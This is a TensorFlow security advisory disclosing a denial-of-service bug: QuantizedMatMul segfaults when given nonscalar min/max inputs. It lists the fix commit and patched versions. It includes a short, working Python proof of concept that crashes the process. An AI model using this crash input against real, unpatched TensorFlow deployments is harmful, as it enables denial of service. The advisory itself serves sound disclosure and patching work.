GHSA-689c-r7h2-fv9v

Impact

If QuantizedMatMul is given nonscalar input for: - min_a - max_a - min_b - max_b It gives a segfault that can be used to trigger a denial of service attack.

import tensorflow as tf

Toutput = tf.qint32
transpose_a = False
transpose_b = False
Tactivation = tf.quint8
a = tf.constant(7, shape=[3,4], dtype=tf.quint8)
b = tf.constant(1, shape=[2,3], dtype=tf.quint8)
min_a = tf.constant([], shape=[0], dtype=tf.float32)
max_a = tf.constant(0, shape=[1], dtype=tf.float32)
min_b = tf.constant(0, shape=[1], dtype=tf.float32)
max_b = tf.constant(0, shape=[1], dtype=tf.float32)
tf.raw_ops.QuantizedMatMul(a=a, b=b, min_a=min_a, max_a=max_a, min_b=min_b, max_b=max_b, Toutput=Toutput, transpose_a=transpose_a, transpose_b=transpose_b, Tactivation=Tactivation)

Patches

We have patched the issue in GitHub commit aca766ac7693bf29ed0df55ad6bfcc78f35e7f48.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.